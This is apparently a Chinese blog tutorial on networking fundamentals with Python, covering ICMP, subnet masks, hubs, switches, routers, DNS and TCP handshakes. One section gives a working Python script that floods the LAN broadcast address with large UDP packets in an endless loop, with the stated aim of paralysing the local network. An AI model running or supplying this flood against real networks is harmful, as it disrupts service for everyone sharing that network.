Python网络通信基础:协议、设备与浏览器访问流程详解

橘子海
橘子海
发布时间:2026-10-14 | 5人浏览过
原创

本文详细解析Python网络通信核心概念,涵盖ICMP协议、IP地址与子网掩码的二进制按位与运算规则,以及集线器、交换机和路由器的工作原理。通过Python代码示例展示UDP广播实现局域网通信的方法,并深入剖析浏览器访问服务器时DNS解析、TCP三次握手、HTTP请求及四次挥手的完整过程,帮助读者理解网络数据包在传输中IP与MAC地址的变化规律。

常用的网络协议

ICMP协议,全称为Internet Control Message Protocol,即网络控制协议,主要用于在IP主机、路由器之间传递控制消息。

数据传输过程

两台电脑通信

网络传输的本质是数据的信号传递,而非电流的直接传输。

IP地址网络号与主机号的确定规则

通过IP地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的部分即为网络号,为0的部分则是主机号。

 

最开始集线器解决多台电脑通信

但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

使用交换机进行网络通信

单播写对方的mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF。

 

使用udp协议实现内网瘫痪

先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪。


import socket  # 导入socket


def main():
    try:
        # 1、创建socket套接字
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # socket.SOCK_DGRAM 这里是指定UDP协议

        # 2、指定地址
        data_address = ("192.168.255.255", 64300)
        # 地址要是一个 元组,第一个"192.168.100.255"是内网的广播地址,第二个 64300 是你计算机当前的端口#
        # 这个端口不必太在意,64300 只要不是被其他程序占用的就行,

        # 3、发送数据
        while True:
            send_data = "1" * 57175
            # 这里发送的数据可以随意点

            udp_socket.sendto(send_data.encode("UTF-8"), data_address)
            # 第一个参数sendData.encode("UTF-8")是要发送的数据,("UTF-8")是设置发送数据的编码,
            # 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址

    except Exception as result:
        print("未知错误" + str(result))


if __name__ == '__main__':
    main()

使用路由器连接多个网络

路由器的作用:连接两个以上的网络为一个大网络。

网关:具有转发数据能力的设备。

当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器。

数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化。

浏览器访问服务器的过程

(1)向DNS服务器发送请求进行解析域名。

(2)向http服务器发送3次握手。

(3)握手成功后,向http服务器发送Http格式的请求数据。

(4)所有请求完毕后,向http服务器发送4次挥手。

网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化。

总结

本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注本站的更多内容!

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表